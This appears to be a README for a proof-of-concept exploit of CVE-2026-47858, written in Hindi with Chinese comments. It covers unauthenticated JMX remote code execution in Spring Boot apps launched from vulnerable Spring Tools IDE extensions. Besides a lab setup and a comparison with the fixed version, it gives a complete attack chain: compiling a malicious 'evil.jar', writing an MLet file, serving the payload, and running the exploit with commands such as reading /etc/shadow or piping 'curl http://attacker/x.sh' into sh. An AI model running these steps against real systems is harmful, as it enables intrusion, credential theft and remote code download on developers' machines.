realstatus/cve-2026-47858अप्रमाणित JMX RCE के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Spring Tools लाइव जानकारी मोड में, कमजोर Spring Boot अनुप्रयोगों पर मनमाने कमांड निष्पादित करने के लिए MLet रिमोट क्लास लोडिंग का उपयोग करता है।
English README | भेद्यता सूचना: Spring Security Advisory | CVE Record
भेद्यता: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 जब live information मोड (डिफ़ॉल्ट रूप से सक्षम) में Spring Boot एप्लिकेशन शुरू करते हैं, तो एप्लिकेशन में बिना प्रमाणीकरण, बिना TLS, सभी नेटवर्क कार्ड पर बाइंड किए गए JMX रिमोट पैरामीटर इंजेक्ट करते हैं। आस-पास के नेटवर्क का हमलावर बिना किसी क्रेडेंशियल के उस JMX MBeanServer से कनेक्ट कर सकता है, और MLet रिमोट क्लास लोडिंग के माध्यम से सीधे RCE (root अनुमतियाँ) प्राप्त कर सकता है।
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hप्रभावित टैग 5.2.0.RELEASE (== v2.2.0) की तुलना सुधार टैग 5.3.0.RELEASE (== v2.3.0) से करने पर:
भेद्य संस्करण eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: डिफ़ॉल्ट रूप से सक्षम, IDE से Boot ऐप लॉन्च करने पर हर बार उपरोक्त पैरामीटर इंजेक्ट किए जाते हैं।vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) समान -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false इंजेक्ट करता है।ठीक किया गया संस्करण 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true जोड़ा गया (JMX केवल लूपबैक पर बाइंड होता है)।com.sun.management.jmxremote* पैरामीटर अब बिल्कुल भी इंजेक्ट नहीं किए जाते, बल्कि Attach API के माध्यम से प्रोसेस PID द्वारा स्थानीय रूप से अटैच किया जाता है (VSCode पक्ष में भी वही, debug-config-provider.ts में रिमोट JMX पैरामीटर पूरी तरह हटा दिए गए हैं)।ध्यान दें:
-Dcom.sun.management.jmxremote.portअकेले दिखने पर ही JMX agent सक्षम हो जाता है (मुख्य स्विचcom.sun.management.jmxremoteकी आवश्यकता नहीं), VSCode वेरिएंट में भी यही प्रभावी है।
स्क्रिप्ट पूरी तरह अलग हैं: setup-lab.sh केवल वातावरण तैयार करता है, attack.sh केवल आक्रमण और शोषण करता है। निर्भरताएँ: docker, JDK 17+ (डिफ़ॉल्ट /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (वैकल्पिक)।
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
स्वचालित पूर्णता: पीड़ित Spring Boot एप्लिकेशन बनाएँ → पृथक docker ब्रिज नेटवर्क बनाएँ (पीड़ित कंटेनर 172.22.0.x, हमलावर होस्ट मशीन पर, आसन्न नेटवर्क का अनुकरण) → संबंधित संस्करण के JVM पैरामीटर के अनुसार एप्लिकेशन प्रारंभ करें → JMX लिसनिंग पोर्ट प्रदर्शित करें → पीड़ित मशीन का IP / JMX पोर्ट / गेटवे आउटपुट करें। पीड़ित कंटेनर चालू रहता है, सीधे अगले चरण के हमले में प्रवेश कर सकते हैं।
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令（默认 id; hostname; uname -a，改命令无需重编译）
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
स्क्रिप्ट से स्वचालित रूप से पूरा करें: दुर्भावनापूर्ण jar संकलित करें → mlet.txt उत्पन्न करें (कमांड <ARG> के माध्यम से पास किया गया) → पेलोड प्रदान करने के लिए HTTP सेवा शुरू करें → एक्सप्लॉइट चलाएँ। पेलोड केवल कमांड निष्पादित करता है और प्रतिध्वनि देता है: कमांड /bin/sh -c के माध्यम से शिकार JVM के भीतर समकालिक रूप से निष्पादित होता है, आउटपुट मेमोरी में कैप्चर किया जाता है, फिर एक्सप्लॉइट प्रोग्राम उसी JMX कनेक्शन के माध्यम से Pwn.getOutput() को कॉल करके हमलावर पक्ष पर वापस खींचकर सीधे प्रदर्शित करता है (एग्ज़िट कोड सहित), लक्ष्य मशीन पर कोई फ़ाइल नहीं लिखी जाती। यदि आप आउटपुट को लक्ष्य मशीन पर भी रखना चाहते हैं, तो कमांड में स्वयं रीडायरेक्ट करें (जैसे "id > /tmp/out.txt")।
नियंत्रण प्रयोग: पहले
./setup-lab.sh vulnसे हमला सफल होता है; फिर./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinnedसे हमला विफल होना चाहिए (JMX केवल लूपबैक)।
attack.sh (अनुशंसित)कमांड पूरी तरह से कॉन्फ़िगर करने योग्य है, कमांड बदलने के लिए कुछ भी पुनः संकलित करने की आवश्यकता नहीं (कमांड MLET <ARG> टैग के माध्यम से पास किया जाता है, jar कमांड से स्वतंत्र है):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP（默认自动探测）
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
प्रक्रिया: स्वचालित रूप से evil.jar संकलित करें → कमांड को XML-escape करने के बाद mlet.txt उत्पन्न करें → evil.jar + mlet.txt प्रदान करने के लिए HTTP सेवा शुरू करें → JmxExploit संकलित करें और चलाएँ। पेलोड केवल कमांड निष्पादित करने और आउटपुट वापस दिखाने के लिए ज़िम्मेदार है, लक्ष्य मशीन पर कोई फ़ाइल नहीं लिखता।
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt（把 <命令> 换成你的命令，注意 XML 转义 & < > "）
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序（JDK 17+ 需要 --add-opens 反射改写 RMI stub）
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行（输出在受害应用控制台/日志里，如 docker exec victim tail /app.log）